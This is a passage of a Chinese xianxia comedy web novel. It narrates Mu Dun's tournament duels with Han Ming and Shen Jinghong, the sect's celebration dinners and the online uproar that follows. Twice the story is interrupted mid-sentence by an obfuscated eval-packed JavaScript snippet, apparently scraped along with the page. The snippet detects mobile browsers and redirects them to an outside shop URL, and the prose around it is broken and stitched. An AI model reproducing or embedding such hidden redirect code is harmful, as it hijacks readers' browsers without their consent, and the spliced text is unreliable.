牧殇在旁边抢答:“那叫举重若轻!懂不懂?” 祁幻抱着账本,在上面刷刷写着什么,一边写一边念叨:“赢了第一场,保底奖金五十两,如果能进决赛……” 典星河靠在休息区门口的墙上,嗑着瓜子,看着穆惇。 穆惇坐在长凳上,低着头,看着手里的剑。 剑身上有一道新的划痕,是刚才那一战留下的。 她伸出手,轻轻摸了摸。 归尘蹲在角落里,也嗑着瓜子。 “下一场什么时候?”他问。 “下午。”穆惇说。 归尘点点头,没再问。 ? 下午来得很快。 第二场的对手名单贴出来的时候,牧殇第一个冲过去看。 然后他愣住了。 “师姐,”他跑回来,表情有点复杂,“你的对手是……韩明。” 穆惇手上的动作顿了顿。 “谁?”祁幻没反应过来。 “韩明。”牧殇说,“‘霜寒剑’韩明。” 穆惇想起来了。 十年前那届论剑大会,穆惇一战成名,连胜七场,最后惜败于当时的大会魁首。而那个韩明,是她在第三场遇到的对手。 那一场,穆惇赢了半招。 只赢了半招。 “霜寒剑”这个名号,就是那届大会之后传开的。韩明的剑快如霜降,冷如寒冰,一剑既出,剑气凝霜。当时多少人押他能进决赛,结果在第三场就遇上了穆惇。 输了半招之后,韩明当场折断了自己的剑,头也不回地走了。 听说那之后他闭关三年,出关后换了新剑,剑法比从前更狠。 典星河挑了挑眉:“‘霜寒剑’韩明?” 牧殇点点头。 “他现在什么修为?” “金丹二阶。”牧殇说。 祁幻脸都白了:“金丹二阶?那穆师姐……” 他没说完,但意思很明显。 穆惇十年没握过剑了。 穆惇还是金丹初期——十年前就是金丹初期,十年后还是。 差了整整两个小境界。 典星河看向穆惇。 穆惇低着头,看着手里的剑,一言不发。 归尘也看着她。 过了好一会儿,穆惇抬起头。 “什么时候开始?”她问。 申时,演武场。 下午的阳光斜斜地照下来,把整个演武场染成暖金色。 但看台上的人,都感觉到了一丝凉意。 韩明站在台上,一动不动。 他的剑已经出鞘,握在手里。 剑身细长,通体雪亮,剑尖垂向地面,剑锋上凝着一层薄薄的白霜——那是剑气外泄,自发凝成的霜。 台下有人小声说:“他的剑又变了……” “三年前还不是这样的。” “听说他为了练这剑,去了极北冰原,在冰窟里待了整整一年。” “疯了……” 韩明没有看台下。 他盯着选手通道的入口,等着那个人出来。 等一个人,等了十年。 穆惇走出来。 她走得很慢,一步一步。 手里握着那把剑——锈迹斑斑,剑身暗沉,剑柄上缠着新的麻绳。 和十年前的剑,是同一把。 韩明看着那把剑,嘴角慢慢弯了起来。 “穆惇。”他说,声音不大,但整个演武场都能听见。 “十年了。” 穆惇走上台,在他对面站定。 她看着他,点点头。 “嗯。” 韩明低头看了看她手里的剑,又看了看自己手里的霜刃。 “你还用这把剑?”他问。 穆惇没说话。 韩明笑了笑,笑容里带着一丝说不清的东西。 “十年前,我输给你半招。”他说,“那之后我折了剑,换了剑,练了十年。去过极北,下过冰窟,杀过妖兽,也杀过比我强的人。” 他抬起剑,剑尖指向穆惇。 “你这十年呢?” 台下安静了。 所有人都知道答案——种地。这个曾经的天才剑修,整整种了十年地。 有人小声笑起来。 她看着韩明,看着他那把凝着寒霜的剑,看着他那双带着执念的眼睛。 “种地。”她说。 韩明愣了一下,然后笑了。 “种地?”他重复了一遍,笑得更明显了,“你用握剑的手去种地?” 穆惇低头看了看自己的手。 手上有茧。但不是握剑磨出来的茧,是握锄头磨出来的。 她抬起头。 “种地,舒服。”她说。 韩明不笑了。 他看着她,眼神变得认真起来。 “穆惇,”他说,“这一场,我会赢。” 穆惇点点头。 “好。我看好你。” 裁判宣布开始。 韩明出剑。 剑一出鞘,整个演武场的温度都仿佛低了几度。 剑光如霜,剑气如雪。 快。 但不是李长青那种只顾快的快。 韩明的快,是冷的。 一剑刺出,剑尖带着寒气扑面而来,让人呼吸都为之一窒。 穆惇侧身,躲开。 剑尖擦着她的脸过去,带起一丝寒气,她的睫毛上凝出细细的白霜。 韩明第二剑紧随而至。 穆惇再躲。 第三剑,第四剑,第五剑—— 每一剑都比前一剑更冷,每一剑都比前一剑更狠。 剑光织成一张霜网,把整个擂台笼罩其中。 穆惇在网中穿行,像一只困兽。 她依然没有出剑。 只是在躲。 韩明的剑越来越快,越来越冷。 他的眼睛越来越亮。 “你不出剑吗?”他问,声音里带着压抑不住的兴奋,“我等了十年,你就这样躲?” 穆惇没说话。 她侧身躲过一剑,后退一步,又躲过一剑。 韩明的剑擦着她的肩膀过去,划破了衣裳。 血渗出来,很快被寒气冻住,凝成一道暗红的冰痕。 台下响起惊呼。 祁幻猛地站起来,被典星河一把拽住。 “坐着。”典星河说。 “可是穆师姐——” “她还没到时候。” 祁幻愣住了。 台上,韩明又是一剑刺出。 这一剑,比之前所有的都快、都冷。 剑光如一道白虹,直取穆惇心口。 穆惇侧身,躲开。 但剑尖还是刺中了她的手臂。 血溅出来,在霜气里凝成细小的冰珠,叮叮当当落在台上。 韩明停下来。 他看着穆惇,眉头皱了起来。 “你到底出不出剑?”他问,声音里带着一丝烦躁,“我等的不是这个。” 穆惇低头看了看手臂上的伤口。 血还在流,但已经不多了——伤口被冻住了一半。 她抬起头,看着韩明。 “你等了十年,为了什么?” 韩明愣住了。 “为了赢你。”他说,“为了把那半招讨回来。” 穆惇点点头。 “然后呢?” 韩明没说话。 穆惇看着他,眼神平静得像一潭深水。 “赢了之后呢?” 韩明张了张嘴,没说出话来。 穆惇继续说:“你练了十年,去了极北,下了冰窟,杀了妖兽,杀了人。你现在比我强。” 她顿了顿。 “然后呢?” 韩明站在原地,握剑的手微微发抖。 不是冷。 是他说不出答案。 穆惇看着他,轻轻叹了口气。 “我种了十年地。”她说,“一开始是为了躲。躲那天的画面,躲她的眼睛,躲我自己。” 她低头看了看手里的剑。 “后来发现躲不掉。”她说,“不管躲到哪里,我都会想起她,现在我不打算躲了。” 韩明愣住了。 穆惇抬起头,看着他。 “你等了我十年。”她说,“她也等了我十年,我也该走出来了。” 她握紧剑柄。 穆惇出剑了。 很慢。 慢得像一滴水从屋檐落下。 慢得像一片叶子飘在风里。 慢得像十年前那个师妹,最后一次对她笑。 但就是这一剑,轻轻落在韩明那漫天霜雪般的剑光里。 “铛——” 一声清响。 霜散了。 韩明的剑停在半空,再也刺不下去。 他低头看着自己的剑,又抬头看着穆惇,眼睛里全是不解。 “怎么……怎么会……” 穆惇看着他,眼神里带着一丝悲悯。 “你的剑太冷了。”她说。 韩明没听懂。 穆惇继续说:“冷得只有你自己。” 她收剑,后退一步。 “我的剑里,有她。” 韩明站在原地,一动不动。 剑上的霜慢慢化开,凝成水滴,一滴一滴落在台上。 他没有输在剑法上。 他输在剑里只有自己。 台下,安静了三秒。 然后掌声如雷。 比之前任何一场都热烈。 有人站起来鼓掌。 有人喊:“好剑法!” 有人问:“她说的‘她’是谁?” 有人小声说:“不知道……但好像,挺让人难过的。” 贵宾席上,栖云子慢慢站起来。 他看着穆惇走下台的背影,沉默了很久。 然后他转头问旁边的长老:“当年万妖谷的事,你听说过吗?” 长老愣了一下,点点头。 栖云子没再说话。 凤栖站在人群里,手里的桃子削到一半,停在那儿。 他看着穆惇,眼睛微微眯起。 然后他轻轻笑了。 “有意思,”他说,“真有意思。” 躺平宗众人所在的位置,已经乱成一团。 宋栀子哭着扑上去,这次是真的哭了:“师姐你流了好多血!” 牧殇站在旁边,一句话都说不出来。 他看着穆惇,眼眶红红的。 他知道那个“她”是谁。 穆惇走过来,在他面前站定。 “牧殇。”她说。 牧殇抬起头。 穆惇看着他,眼神平静。 “她也在你的剑里。”她说,“一直都在。” 牧殇愣住了。 然后他低下头,肩膀微微发抖。 穆惇伸出手,在他肩上拍了拍。 “我们不必再躲,师妹是不会乐意见到这样的我们的。” 那天晚上,青云宗山脚下一家小客栈里,躺平宗六个人挤在一间屋里。 祁幻买了一堆肉回来,红烧的、炖的、烤的,摆了一桌子。 宋栀子一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你师妹并不想你因愧疚而困死自己。” 穆惇愣住了。 归尘站起来,走到窗边。 “我逃了三千年,”他说,“逃着逃着,又回到这个地方,遇见了你们。” 他看着窗外的月亮。 “刚开始,每天晚上都会做梦。梦见那天晚上的事,梦见师父的背影,梦见自己怎么都追不上他。” “后来慢慢不做了。” 穆惇问:“为什么?” 归尘回过头,看了屋里一圈。 祁幻在角落里对着账本念念有词,牧殇在跟宋栀子抢最后一块肉,典星河靠在床头嗑着瓜子看他们闹。 “因为这里太吵了。”归尘说,嘴角弯了弯,“吵得没时间做梦。” 穆惇愣了一下,然后嘴角也弯了弯。 归尘走回来,在她旁边坐下。 “你今晚可以试试,”他说,“别想她,想点别的。” “想什么?” 归尘想了想,看向宋栀子和牧殇。 “想明天那丫头会不会又炸什么东西,”他说,“想那小子又能从哪掏出瓜子来。想想明天,不念昨日。” 穆惇顺着他的目光看过去。 宋栀子正举着筷子跟牧殇抢肉,一边抢一边喊“二师兄你让让我”,牧殇死活不让,嘴里还念叨“你小孩子吃这么多干嘛”。 祁幻在旁边记账:“今晚肉钱二两,穆师姐伤口换药材料钱三十文,明天早饭预算……” 典星河懒洋洋地说:“钱多多,你再记下去,肉都被抢完了。” 祁幻一抬头,果然盘子快空了,赶紧扔下账本冲过去。 “给我留一块——!” 屋里闹成一团。 穆惇看着他们,嘴角弯了弯。 归尘在旁边说:“看,有的想吧。” 穆惇点点头。 “嗯,有。” 她把剑放在身边,端起碗,继续吃饭。 吃着吃着,她突然说:“谢谢前辈。” 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日战报:穆师姐第二场赢了!!!赢了金丹巅峰的“霜寒剑”韩明!!! 王甜甜:师姐流了好多血呜呜呜…… 李翠花:没事。 钱多多:对了,今晚这顿饭花了二两银子,记账了哈! 赵铁柱:你连这个都记?! 钱多多:废话,不记怎么知道花了多少! 典星河:记吧记吧。 归尘:肉不错。 李翠花:嗯,不错。 王甜甜:师姐笑了! 李翠花:没笑。 王甜甜:笑了!我看见了! 赵铁柱:我也看见了。 钱多多:+1 典星河:+1 归尘:+1 李翠花:…… 李翠花:睡了。 钱多多:哈哈哈哈哈哈 赵铁柱:对了,前辈刚才跟师姐说了什么?我看见他们在窗边说话。 典星河:没听见。 王甜甜:我也没听见。 祁幻:我当时在抢肉。 归尘:没什么。 11. 最后一剑 决赛那天,阳光很好。 青云宗演武场四周的看台上,黑压压坐满了人。比前两场加起来还多——谁都知道,今天的决赛,是十年前那届大会的旧账重算。 穆惇的对手,是十年前惜败的那位大会魁首。 沈惊鸿。 “惊鸿剑”,沈惊鸿。 十年前,穆惇连胜七场,一路杀进决赛,遇上了他。那一场打了整整一个时辰,最后穆惇输了半招。 只输了半招。 那时候所有人都说,再过两年,穆惇必能赢他。结果那之后没多久,就出了万妖谷的事。穆惇销声匿迹,沈惊鸿闭关三年,出关后一路高歌猛进,如今已是金丹巅峰,离元婴只差一步。 十年了。 两个人,十年没交过手。 选手通道里,穆惇站了很久。 这次剑会,栖云子为何偏偏要叫自己来?还拿出那么高的酬劳? 现在想来,是沈惊鸿干的,可他当年明明都已经赢了…… 她低着头,看着手里的剑。 剑身上,已经有了三道新痕——第一场一道,第二场两道。 她伸出手,轻轻摸了摸。 “师姐。”身后传来宋栀子的声音。 穆惇回头。 宋栀子站在那儿,眼睛红红的,但没哭。 “你……你加油。”她说。 牧殇站在她旁边,难得安静,只是冲穆惇点了点头。 祁幻抱着账本,小声说:“师姐,不管输赢,奖金都有一百两……你要是赢了,翻倍……” 典星河靠在墙上,“去吧。”她说,“打完回家。” 归尘蹲在角落里,也嗑着瓜子。 他看着穆惇,只说了一句话。 “记得上次说的吗?” 穆惇点点头。 “想她,也想你自己。” 归尘笑了。 “去吧。” 穆惇走出通道。 阳光照在她身上,暖洋洋的。 看台上,人山人海。无数双眼睛盯着她,盯着她手里那把锈迹斑斑的剑。 有今日新来观赛的人小声说:“就是她?” “对,十年前那个天才。” “现在怎么这样了?” “听说种了十年地。” “那还能打?” “前两场你没看?赢了李长青,赢了韩明。” 看台上议论纷纷。 穆惇没有看他们。 她走上台,站定。 对面,一个人已经等在那儿。 沈惊鸿。 他穿着一身青衫,身形修长,面容清俊。手里握着一把剑,剑身朴素,没有任何装饰,却隐隐透着一股沉静的光。 他看见穆惇走上来,微微点了点头。 “穆惇。”他说,声音平静。 “好久不见。” 穆惇看着他,也点了点头。 “嗯。别来无恙。” 沈惊鸿低头看了看她手里的剑,沉默了一瞬。 “还是这把?”他问。 穆惇点头。 “只有这把。” 沈惊鸿没再说话。 他只是看着她,看着那把锈迹斑斑的剑,眼神里带着一丝说不清的东西。 台下,有人开始起哄。 “开始啊!” “等什么呢!” “打啊!” 沈惊鸿没有理他们。 他看着穆惇,突然问了一句。 “那件事之后,你还握过剑吗?” 穆惇愣了一下。 然后她摇摇头。 “剑会之前,十年没握过。” 沈惊鸿沉默了。 过了好一会儿,他说:“那你昨日,已经打了两场。” 穆惇点头。 沈惊鸿看着她,眼神里多了一丝什么。 “穆惇,”他说,“我等这一场,等了十年。” 他抽出剑。 剑身雪亮,没有任何花哨,却透着一股说不出的压迫感。 “等我?等我什么?” “不是等你回来输给我。”他说,“是等你回来。” 穆惇愣住了。 沈惊鸿看着她,嘴角弯了弯。 “当年那半招,我一直记着。”他说,“但我不想赢一个种地的穆惇。” 他举起剑,剑尖指向穆惇。 “我想赢的是那个十年前,意气风发的穆惇。” 穆惇看着他的眼睛,看了很久。 然后她笑了。 很淡,但确实笑了。 “好。我叫她出来与你打。”她说。 她也抽出剑。 锈迹斑斑的剑身,在阳光下显得格格不入。 但她握得很稳。 裁判宣布开始。 沈惊鸿没有动。 穆惇也没有动。 两人就这么站着,互相看着对方。 台下的人等急了。 “怎么回事?” “打啊!” “站着干嘛呢!” 沈惊鸿开口了。 “你受伤了。”他说。 穆惇点点头。 “一点。” 沈惊鸿看着她手臂上缠着的绷带,沉默了一瞬。 “那我让你三招。” 穆惇摇摇头。 “不用。沈惊鸿,你把我看成什么了?” 她握紧剑柄。 沈惊鸿看着她,点了点头。 然后他出剑了。 没有李长青的快,没有韩明的冷。 只是平平淡淡的一剑,刺过来。 但穆惇的脸色变了。 这一剑,她躲不开。 不是快,是准。 准得恰到好处,准得无论往哪边躲,剑尖都能跟上。 她只能退。 沈惊鸿的第二剑随即而至。 还是平平淡淡,还是恰到好处。 穆惇再退。 第三剑,第四剑—— 每一剑都不快,每一剑都不狠,但每一剑都逼得她不得不退。 她根本没有出手的机会。 台下的人看呆了。 “这就是惊鸿剑?” “看起来也没什么……” “你懂什么!这才是真本事!” 穆惇一路退到台边,再退一步就要掉下去。 沈惊鸿停下来。 他看着穆惇,眼神平静。 “十年了,”他说,“你就学会了躲?” 穆惇没有说话。 她站在台边,看着沈惊鸿。 沈惊鸿继续道:“前两场的战报我看了。对李长青,你躲了三十七剑,出了一剑。对韩明,你躲了五十二剑,出了一剑。” 他顿了顿。 “那一剑,听说很慢。” 穆惇点点头。 “很慢。” 沈惊鸿看着她,眼神里多了一丝失望。 “穆惇,”他说,“我等的是你出剑,不是等你在躲。” 他收起剑,后退一步。 “今天,你出够三剑,就算你赢。” 台下哗然。 “什么意思?” “让三剑?” “这也太狂了吧!” 沈惊鸿没有理他们。 他只是看着穆惇,等着她的回答。 穆惇沉默了很久。 “穆惇,十年前那场,你输了半招。” 沈惊鸿继续说:“那半招,我记了十年,要不是你伤的太重,你不会输的。” “所以你今天,应该讨回来。” 穆惇愣了。 然后她笑了。 她自己都不在意,这小子记了十年? 穆惇出剑了。 第一剑。 很慢,和之前一样慢。 沈惊鸿侧身,轻轻躲开。 他看着她,眉头微微皱起。 “只是这样?”他问。 穆惇没说话。 她收回剑,站定。 沈惊鸿看着她,沉默了一瞬。 “穆惇,”他说,“你是在为谁出剑?” 穆惇的身体僵住了。 沈惊鸿继续说:“前两场,我听说了。你对韩明说,你的剑里有‘她’。” 他看着穆惇的眼睛。 “现在这一剑,也是为‘她’吗?” 穆惇没有说话。 沈惊鸿叹了口气。 “穆惇,她走了十年了,这场比试我也等了你十年了,你的表现让我很失望!” 穆惇愣住了。 沈惊鸿看着她,眼神里带着一丝悲悯。 “你还没走出来。”他说,“你还是在为别人出剑。” 他举起剑。 “那我让你看看,什么叫为自己出剑。” 他出剑了。 这一剑,和之前不一样。 还是不快,还是不狠,但这一剑里,有东西。 是他的十年。 是他的孤独。 是他等一个人的耐心。 穆惇看着这一剑,突然明白了什么。 他是让她看清楚,什么叫活在自己的剑里。 剑光落在她面前,停住。 沈惊鸿收剑,后退一步。 “穆惇,”他说,“你出第二剑吧。” 台下观众哗然,“他们做什么呢?” 穆惇站在原地,一动不动。 她看着沈惊鸿,看着他那双平静的眼睛。 台下,典星河停下了嗑瓜子的手。 归尘也停下了。 宋栀子紧张地拽着牧殇的袖子。 祁幻抱着账本,手在抖。 台上,穆惇闭上了眼睛。 她想起刚才,沈惊鸿说的话。 “我想赢的是那个十年前,意气风发的穆惇。” 她睁开眼睛。 低头看着手里的剑。 剑身上,有三道新痕。 第一道,是李长青留下的。 第二道,是韩明留下的。 第三道,是刚才沈惊鸿留下的。 每一道,都是这十年的印记。 她抬起头。 看着沈惊鸿。 “第二剑,”她说,“你看着。” 她出剑了。 这一次,不一样。 还是慢。 但慢的不是她了。 慢的是这十年。 是她十年里每一个清晨,扛着锄头去灵田的日子。 是她十年里每一个黄昏,坐在井台上发呆的日子。 是她十年里每一个深夜,躺在床上睁着眼睛想师妹的日子。 这十年,她没有握剑。 这一剑,是她的十年。 沈惊鸿看着这一剑,眼睛亮了。 他没有躲。 他迎上去,一剑挡下。 “铛——” 两剑相交,火花四溅。 沈惊鸿后退一步。 他看着穆惇,嘴角慢慢弯了起来。 “这才像话。”他说。 穆惇看着他,也弯了弯嘴角。 “第三剑。”她说。 第三剑。 穆惇握紧剑柄。 她没有看沈惊鸿。 她低下头,看着手里的剑。 剑身上,那些旧痕还在。 师妹砸的那道,十年了,还在。 她伸出手,轻轻摸了摸。 然后她抬起头。 看着沈惊鸿。 “这一剑,”她说,“是为我自己。” 她出剑了。 这一次,不快,不慢。 就是刚刚好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387672|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚好是她自己。 是那个十岁筑基、十五岁金丹、以为自己天下第一的穆惇。 是那个带着师弟师妹进秘境、走了一条近路的穆惇。 是那个看着师妹死在怀里、十年不敢握剑的穆惇。 是那个种了十年地、种出来的萝卜比谁都甜的穆惇。 是那个今天站在这里,握着一把锈剑,面对十年前惜败的对手的穆惇。 是她自己。 沈惊鸿看着这一剑,笑了。 他没有挡。 他往旁边让了一步。 剑光从他身边擦过,落在空处。 他输了。 但他笑了。 “穆惇,”他说,“你回来了。” 台下,安静了三秒。 然后掌声炸裂。 比之前任何一场都热烈。 有人站起来喊:“好剑法!” 有人喊:“穆惇!穆惇!” 有人问:“刚才那三剑,到底什么意思?” 没人回答。 但有人哭了。 宋栀子抱着牧殇的胳膊,哭得稀里哗啦。 牧殇没有劝她。 他也在哭。 祁幻抱着账本,手抖得厉害,但他没有去算钱。 他只是看着台上的穆惇,一直看着。 典星河站起来,轻轻鼓掌。 归尘也站起来,轻轻鼓掌。 两人对视一眼,都笑了。 台上,沈惊鸿收剑入鞘,走到穆惇面前。 “你赢了。”他说。 穆惇摇摇头。 “你没输。” 沈惊鸿愣了一下。 穆惇看着他,眼神平静。 “你让了我三剑,”她说。 沈惊鸿笑了。 “那又怎样?”他说,“我等的是你出剑,不是赢你。” 他伸出手。 “穆惇,欢迎回来。” 穆惇看着他的手,沉默了一瞬。 然后她伸出手,握住了。 “谢谢你,沈惊鸿。” 那天晚上,青云宗山脚下的客栈里,躺平宗六个人又挤在一间屋里。 祁幻买了更多肉,摆了满满一桌子。 宋栀子一边吃一边哭,哭一会儿笑一会儿,谁也搞不懂她到底什么情绪。 牧殇难得安静,坐在角落里,看着穆惇。 穆惇坐在窗边,看着手里的剑。 剑身上,又多了一道新痕。 第四道。 是沈惊鸿留下的。 她伸出手,轻轻摸了摸。 归尘走过来,在她旁边坐下。 “在想什么?”他问。 穆惇沉默了一会儿。 “在想,”她说,“今天这三剑,她看见了吗?” 归尘想了想。 “看见了。”他说。 穆惇转头看他。 归尘看着窗外的月亮。 “你出第一剑的时候,她在。” “你出第二剑的时候,她也在。” “你出第三剑的时候,”他顿了顿,“她笑了。” 穆惇愣住了。 “你怎么知道?” 归尘回头看她,嘴角弯了弯。 “因为我也在。” 穆惇看着他,看了很久。 然后她低下头,笑了。 笑着笑着,眼泪就下来了。 但她没有擦。 就让它流着。 归尘从怀里掏出一把瓜子,递给她。 “嗑吗?” 穆惇看着那把瓜子,愣了一下。 然后她接过来,嗑了一颗。 “咔”。 归尘也嗑了一颗。 “咔”。 两人一起嗑瓜子,一起看月亮。 窗外,月亮很圆。 屋里,闹成一团。 宋栀子终于不哭了,开始和牧殇抢最后一块肉。 祁幻在旁边记账:“今晚肉钱三两,酒钱二百文,穆师姐的剑又多了道痕,修剑的钱……” 宋栀子积极举手:“我可以!” 祁幻一抬头,“你不可以。” 屋里笑成一团。 穆惇看着他们,嘴角弯了弯。 归尘在旁边说:“看,这就是你以后的日子。” 穆惇点点头。 她把剑放在身边,端起碗,继续吃饭。 吃着吃着,她突然说:“前辈。” “嗯?” “谢谢你。” 归尘愣住了。 两人一起看着窗外。 月亮很亮。 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日战报:穆师姐赢了!!!赢了沈惊鸿!!!奖金翻倍!!二百两!! 王甜甜:师姐好厉害呜呜呜呜呜 赵铁柱:师姐那三剑,我看哭了。 典星河:@李翠花,感觉怎么样? 李翠花:累。 归尘:@钱多多,肉够吗? 钱多多:够够够!今晚花了三两!明天继续! 赵铁柱:三两?!你疯了?! 钱多多:废话,庆祝啊!穆师姐赢了! 王甜甜:支持支持! 典星河:支持。 归尘:+1 李翠花:+1 赵铁柱:……行吧,那我也+1 钱多多:对了,穆师姐,你那剑又多了道痕,修剑的钱…… 李翠花:不用钱。 钱多多:? 李翠花:@王甜甜你帮我修。 王甜甜:师姐!你竟然这么信任我,哭了…… 赵铁柱:师姐疯了。 李翠花:…… 李翠花:睡了。 钱多多:师姐睡眠质量真好。 12. 敲脑袋 穆惇赢了决赛的事,在仙网论坛上炸了。 第二天一早,祁幻照例打开玉简查看消息,差点被涌进来的提示淹没了。 私信:99+ @提醒:99+ 好友申请:99+ 他愣了三秒,然后点开热搜榜—— 热搜第一:#十年归来的天才剑修# 热搜第二:#躺平宗到底是什么神仙地方# 热搜第三:#求掌门算卦在线等挺急的# 热搜第四:#穆惇沈惊鸿三剑名场面# 热搜第五:#那把锈剑到底是什么来头# 祁幻的手开始抖。 他往下划,发现论坛首页几乎被躺平宗屠版了。 【置顶热帖】深度分析:穆惇对沈惊鸿那三剑,到底意味着什么? 楼主:剑道观察者 内容:第一剑,是为逝者;第二剑,是为十年;第三剑,是为自己。这三剑,是一个剑修十年的心路历程。看完我哭了。 【热帖二】独家专访韩明:输给穆惇后,我想通了 楼主:八卦小能手 内容:韩明接受采访时说:“她那句‘我的剑里有她’,我想了三天。现在我明白了,心里没有人,是赢不了的。” 【热帖三】李长青:我输得心服口服 楼主:青云宗小喇叭 内容:李长青在宗门论坛发帖:“十二年练剑,不如她十年种地。我服了。” 【热帖四】沈惊鸿赛后采访:她回来了,我等到了 楼主:论剑大会官方号 内容:沈惊鸿说:“十年前那半招,我一直记着。但我更想记住的,是今天这三剑。” 【热帖五】投票:躺平宗六个人,你最想加入谁的门下? 选项: 1.掌门典星河(算卦神准) 2.大师姐穆惇(剑道天才归来) 3.二师兄牧殇(话多但暖) 4.三师兄祁幻(管账的一看就很靠谱) 5.小师妹宋栀子(发明家,虽然会炸但很可爱) 6.神秘扫地老头(渡劫期嗑瓜子大佬) 目前投票最高的是:神秘扫地老头和掌门典星河并列第一。 祁幻看到这里,脸色变了。 他颤颤巍巍地点进那条投票帖,评论区已经炸了: “选老头啊!渡劫期!活着的传说!” “我选掌门!算卦那么准,我想问问姻缘!” “没人选二师兄吗?他好可爱!” “选小师妹的勇士,你们不怕被炸吗?” “三师兄一看就是老实人,嫁给他肯定靠谱!” 祁幻看完,表情复杂。 他转头看向屋里——典星河还躺在摇椅上晒着太阳,归尘蹲在歪脖子树下嗑瓜子,两人一副事不关己的样子。 “掌门,”他走过去,把玉简递到她面前,“你看看这个。” 典星河睁开一只眼,扫了一眼。 “哦。”她说。 “哦?!”祁幻声音都劈叉了,“热搜第一!屠版!投票!您就‘哦’?” 典星河打了个哈欠。 “不然呢?下去发个帖子说‘谢谢大家’?” 祁幻张了张嘴,说不出话来。 典星河继续道:“让他们闹去。过两天又有新热闹了。” 她翻了个身,继续晒太阳。 祁幻站在原地,愣了三秒,然后看向归尘。 归尘正在嗑瓜子,一脸事不关己。 “前辈,”祁幻走过去,“您也看看,您是投票第一。” 归尘接过玉简,看了一眼。 然后他点了点头。 “拍得还行,但是没有完美展现我无死角的帅脸。”他说。 祁幻:“……” 牧殇凑过来,抢过玉简看了一眼,然后眼睛亮了。 “我也有提名?‘话多但暖’?哈哈哈哈这个评价太准了!” 宋栀子也凑过来:“我呢我呢?” 牧殇往下划:“‘小师妹宋栀子,发明家,虽然会炸但很可爱’——哈哈哈哈‘虽然会炸’!” 宋栀子嘴一瘪,抢过玉简看,然后笑了,笑得很可爱。 “可爱!他们说我很可爱!” 祁幻无语地看着他们。 穆惇从屋里走出来,手里握着那把剑——剑身上又多了第四道痕。 她走到井台边,打了桶水,开始擦剑。 祁幻凑过去,小心翼翼地问:“师姐,你要不要看看论坛?你热搜第一。” 穆惇头也没抬。 “不看。” “为什么?” 穆惇手上的动作顿了顿。 “看了又不能多长两斤萝卜。” 祁幻愣住了。 牧殇在旁边笑疯了:“哈哈哈哈哈哈师姐绝了!” 宋栀子也跟着笑。 典星河躺在摇椅上,嘴角弯了弯。 归尘蹲在树下,眼望着天,耳边是他们的叽叽喳喳。 下午,山门外突然热闹起来。 祁幻跑出去一看,愣住了。 山门外站着二三十号人,有男有女,有老有少,穿着各色服饰。 为首的还是那个年轻男子——上次来拜师被吓跑的那个。 他看到祁幻出来,眼睛一亮。 “三师兄!”他喊,“我们又来了!” 祁幻后退一步。 “你……你们来干嘛?” 年轻男子理直气壮:“拜师啊!” 他身后的人跟着喊: “我要拜穆师姐为师!” “我要跟掌门学算卦!” “我要跟小师妹学发明!” “我要跟二师兄学说话!” 最后一个人喊完,全场安静了一秒。 牧殇正好走出来,听到这话,愣了一下。 “跟我学说话?”他问。 那人点点头,一脸真诚。 “二师兄,你说话特别好听!我想学!” 牧殇站在原地,表情复杂。 他张了张嘴,想说点什么,又不知道该说什么。 宋栀子在旁边笑得直不起腰。 典星河慢悠悠地走出来,看着这一群人。 她扫了一眼,掐了掐手指。 “你们……”她说,“命里与躺平宗无缘。” 那群人愣住了。 “又是这句?” 典星河点点头。 “上次不是说了吗,入我宗门者,三年内必被宋栀子的发明炸到。” 她顿了顿。 “你们看昨天热搜了吗?她那锅都炸了。” 那群人的脸色开始变了。 有人小声说:“可是……可是那锅是她自己炸的……” “对啊,所以更危险。”典星河一脸认真,“自己炸自己,防不胜防。” 那人张了张嘴,没说出话来。 年轻男子不死心:“那……那我们不入宗门,就挂个名?” 典星河想了想。 “挂名的话,每年得交挂名费,一个人一百两。” 年轻男子脸色一白。 “一、一百两?!” 典星河点点头。 “不然呢?我们这有渡劫期大佬,有天才剑修,有神算掌门,收一百两贵吗?” 年轻男子沉默了。 他身后那群人也沉默了。 三秒后—— “那个……我突然想起来家里还有点事……” “对对对,我也是……” “告辞告辞!” 一群人来得快,去得更快,转眼就跑得没影了。 祁幻看着他们的背影,又看向典星河。 “掌门,”他说,“你刚才说的是真的?那个挂名费……” 典星河眨眨眼。 “当然是真的。” 典星河笑了。 “他们要是真交,我就真收。” 祁幻愣住了。 然后他低头在账本上默默记了一笔: “今日新增:吓跑拜师者二十七人。挂名费报价一百两每人,无人成交。损失:零。心情:复杂但好笑。” 傍晚,六个人围坐在主殿门口。 晚饭是红烧肉、炖鸡汤、炒青菜,还有一大盆米饭。 祁幻吃得满嘴流油,一边吃一边翻着玉简。 “热搜还是咱们,”他说,“但风向变了。” 牧殇凑过去:“怎么变了?” “开始扒咱们每个人的来历了。”祁幻划着屏幕,“穆师姐的已经有人扒了,说十年前是天才剑修,后来销声匿迹,现在王者归来。” 穆惇面无表情地吃饭。 “还有掌门你的,”祁幻继续说,“说你是卦道奇才,师父死后沉寂十年,现在重新出山。” 典星河端着碗,没说话,也没抬头。 “还有前辈的……”祁幻顿了顿。 归尘抬起头。 “什么?” 祁幻看着屏幕,表情有点复杂。 “有人扒出来,说您可能是三千年前上古宗门的幸存者。” 归尘的手顿了顿。 然后他继续吃饭。 “让他们扒,我又没有黑料,真是人红是非多。”他笑着说。 笑得有些勉强。 夜深了。 众人都回屋睡了。 归尘没有回柴房。 